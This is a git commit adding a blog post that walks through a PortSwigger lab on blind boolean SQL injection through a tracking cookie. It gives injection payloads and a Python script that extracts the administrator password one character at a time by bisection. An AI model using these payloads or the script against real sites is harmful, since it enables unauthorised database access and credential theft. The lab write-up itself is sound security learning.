Blind SQL Injection Post
This commit is contained in:
parent
239a3e55a9
commit
adeb3cf394
|
@ -0,0 +1,225 @@
|
|||
---
|
||||
title: "Automating Blind SQL Injection on Cookies"
|
||||
date: 2024-01-23
|
||||
---
|
||||
|
||||
Earlier this evening, I was working through one of the [PortSwigger SQL
|
||||
injection
|
||||
labs](https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses)
|
||||
which requires you to determine an administrator password by injecting some SQL
|
||||
into a cookie and checking if the content of the page changes because a
|
||||
resulting query succeeded or failed.
|
||||
|
||||
## The attack
|
||||
|
||||
Basically say you have a cookie `TrackingId` with a value like
|
||||
`nCoQWoq8E7c6vj1e` and the page runs a query like `SELECT ... FROM trackers
|
||||
WHERE id = 'nCoQWoq8E7c6vj1o'` and inserts a "Welcome Back" banner onto the page
|
||||
if the query succeeds and doesn't if it fails.
|
||||
|
||||
This means you can get creative with the value of the cookie to do some SQL
|
||||
injection and use the boolean output (either the banner displays or it doesn't)
|
||||
to extract information.
|
||||
|
||||
To validate that there is a SQL injection path available you can try the
|
||||
following two values for the cookie:
|
||||
|
||||
```markdown
|
||||
nCoQWoq8E7c6vj1o' AND '1'='1
|
||||
nCoQWoq8E7c6vj1o' AND '1'='0
|
||||
```
|
||||
|
||||
This transforms the query from something like this:
|
||||
|
||||
```sql
|
||||
SELECT tracker FROM trackers WHERE id = 'nCoQWoq8E7c6vj1o';
|
||||
```
|
||||
|
||||
Into your modified query:
|
||||
|
||||
```sql
|
||||
SELECT tracker FROM trackers WHERE id = 'nCoQWoq8E7c6vj1o' AND '1'='0';
|
||||
```
|
||||
|
||||
Now this might not seem very useful off the bat but you can extract a lot of
|
||||
information out of the database this way. Consider the following query.
|
||||
|
||||
```sql
|
||||
SELECT tracker FROM trackers WHERE id = 'nCoQWoq8E7c6vj1o' AND
|
||||
(SELECT password FROM users WHERE username = 'administrator') = 'hunter2';
|
||||
```
|
||||
|
||||
Now if the "Welcome Back" banner displayed on the site you would know that you
|
||||
had properly guessed the admin password because the condition evaluated to true.
|
||||
Now this isn't any more helpful than just trying to brute force the password on
|
||||
the login page (other than maybe just bypassing some rate-limits and monitoring).
|
||||
But what you can do to speed this up is to try to guess each letter at a time,
|
||||
and you can bifurcate while you're at it. Consider the following three queries
|
||||
(borrowed directly from the [PortSwigger
|
||||
tutorial](https://portswigger.net/web-security/sql-injection/blind)).
|
||||
|
||||
```sql
|
||||
-- This succeeds
|
||||
SELECT tracker FROM trackers WHERE id = 'nCoQWoq8E7c6vj1o' AND SUBSTRING(
|
||||
(SELECT password FROM users WHERE username = 'administrator'), 1, 1) >= 'm';
|
||||
|
||||
-- This fails
|
||||
SELECT tracker FROM trackers WHERE id = 'nCoQWoq8E7c6vj1o' AND SUBSTRING(
|
||||
(SELECT password FROM users WHERE username = 'administrator'), 1, 1) >= 't';
|
||||
|
||||
-- This succeeds
|
||||
SELECT tracker FROM trackers WHERE id = 'nCoQWoq8E7c6vj1o' AND SUBSTRING(
|
||||
(SELECT password FROM users WHERE username = 'administrator'), 1, 1) = 's';
|
||||
```
|
||||
|
||||
We now know the first letter of the administrator password is 's'!
|
||||
|
||||
Looking directly at the cookie values they were as follows:
|
||||
|
||||
```markdown
|
||||
nCoQWoq8E7c6vj1o' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator'), 1, 1) >= 'm
|
||||
nCoQWoq8E7c6vj1o' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator'), 1, 1) >= 't
|
||||
nCoQWoq8E7c6vj1o' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator'), 1, 1) = 's
|
||||
```
|
||||
|
||||
This is a pretty nifty attack that lets us systematically derive the
|
||||
administrators password.
|
||||
|
||||
## The Problem
|
||||
|
||||
Happily, I got to work on the lab and started bifurcating each letter of the
|
||||
administrator's password. The issue was by the time I got done doing this for 5
|
||||
letters in the password I was desperately hoping it was only 5 characters long.
|
||||
I had the same thoughts 8 characters, 10 characters, and 16 characters. This
|
||||
process was incredibly tedious and involved refreshing the page, updating the
|
||||
cookie info based on what I had just learned, saving the cookie, and refreshing
|
||||
the page again.
|
||||
|
||||
Obviously there had to be a better way, but because I kept feeling like I was
|
||||
just around the corner from cracking it I ended up powering through all 20
|
||||
characters of the password. 20! This took me well over 30 minutes I think.
|
||||
|
||||
Clearly, this sort of repetitive work is something that should be automated.
|
||||
|
||||
## The Solution
|
||||
|
||||
So let's take a crack at this using the python requests library (mainly because
|
||||
it is the one I've used in the past). Let's start by simply getting the page as
|
||||
is:
|
||||
|
||||
```python
|
||||
import requests
|
||||
url = "https://{SOME_HEX_ID}.web-security-academy.net/"
|
||||
r = requests.get(url)
|
||||
print(r.status_code)
|
||||
print(r.text)
|
||||
```
|
||||
|
||||
And viola it works! At least we don't have to pretend we're a browser or
|
||||
something to get the page properly. Next up lets try to get the "Welcome Back!"
|
||||
banner.
|
||||
|
||||
```python
|
||||
cookies = {
|
||||
"TrackingId": "CjAZljYSS9X1ZfRg",
|
||||
}
|
||||
r = requests.get(url, cookies=cookies)
|
||||
```
|
||||
|
||||
Incredibly this also works on the first try! Now let's generalize this into a
|
||||
function that tells us whether a specific cookie gets a good response or not.
|
||||
|
||||
```python
|
||||
def injection_works(inject_str):
|
||||
url = "https://0a0400cc04bd096f82089e9e005900a9.web-security-academy.net/"
|
||||
cookies = {
|
||||
"TrackingId": f"CjAZljYSS9X1ZfRg{inject_str}",
|
||||
}
|
||||
r = requests.get(url, cookies=cookies)
|
||||
if r.status_code != 200:
|
||||
print(r.status_code)
|
||||
print(r.text)
|
||||
sys.exit("Request failed")
|
||||
return "Welcome back!" in r.text
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
print(injection_works(""))
|
||||
```
|
||||
|
||||
For the purposes of this we can just match the exact string in the response
|
||||
text, we don't need to actually parse it using beautiful soup or something.
|
||||
|
||||
Now we can use this function to bisect the first character like so:
|
||||
|
||||
```python
|
||||
def determine_character(char_num):
|
||||
base_inj_str = "' AND SUBSTRING("
|
||||
"(SELECT password FROM users WHERE username = 'administrator'), {}, 1) < '{}"
|
||||
# There has got to be a cleaner way to do this right?
|
||||
base_charset = "0123456789abcdefghijklmnopqrstuvxyz"
|
||||
charset = base_charset[:]
|
||||
while len(charset) > 1:
|
||||
mid_char_num = int(len(charset) / 2)
|
||||
mid_char = charset[mid_char_num]
|
||||
inj_str = base_inj_str.format(char_num, mid_char)
|
||||
if injection_works(inj_str):
|
||||
# The character is less than our midpoint.
|
||||
charset = charset[:mid_char_num]
|
||||
else:
|
||||
# The character is greater than or equal to our midpoint.
|
||||
charset = charset[mid_char_num:]
|
||||
time.sleep(1)
|
||||
print(charset)
|
||||
return charset[0]
|
||||
|
||||
if __name__ == "__main__":
|
||||
print(determine_character(1))
|
||||
```
|
||||
|
||||
This successfully identifies the first character in the administrator password as
|
||||
'1'.
|
||||
|
||||
Finally we just need to do this iteratively until we reach the end of the
|
||||
password. While doing this manually I learned that when you take a substring
|
||||
outside of a strings length in MySQL it just returns an empty string. Lets add a
|
||||
case to detect that before trying to bifurcate a character, because as I
|
||||
learned annoyingly the first time around, the empty string will always compare
|
||||
as less than a single character. We can use that to our advantage however and
|
||||
simply test that whether the string is less than a character we know we won't
|
||||
see (as we know the password is lowercase alphanumeric) like the '!'.
|
||||
|
||||
```python
|
||||
def determine_character(char_num):
|
||||
base_inj_str = "' AND SUBSTRING("
|
||||
"(SELECT password FROM users WHERE username = 'administrator'), {}, 1) < '{}"
|
||||
base_charset = "0123456789abcdefghijklmnopqrstuvxyz"
|
||||
if injection_works(base_inj_str.format(char_num, '!')):
|
||||
return None
|
||||
...
|
||||
```
|
||||
|
||||
Then in the main function we can use an [assignment
|
||||
expression](https://peps.python.org/pep-0572/) to loop until the function
|
||||
returns None.
|
||||
|
||||
```python
|
||||
if __name__ == "__main__":
|
||||
char_num = 1
|
||||
password = ""
|
||||
while char := determine_character(char_num):
|
||||
password += char
|
||||
char_num += 1
|
||||
print(password)
|
||||
```
|
||||
|
||||
And this worked on the first try! It got the password in around 3 minutes
|
||||
(mainly hampered by the slow response time of the server but I didn't want to
|
||||
hammer the kind people at PortSwagger by parallelizing this). And all told this
|
||||
took me just over 50 minutes to write (including this blog post though). And
|
||||
while that was slightly longer than the time it took me to do this manually it
|
||||
was wayyyy less tedious and it's repeatable!
|
||||
|
||||
Overall, I found this very enjoyable as I have played with SQL injections in the
|
||||
past but I haven't tried to automate anything around it and this was a cool
|
||||
opportunity to do that.
|
Loading…
Reference in New Issue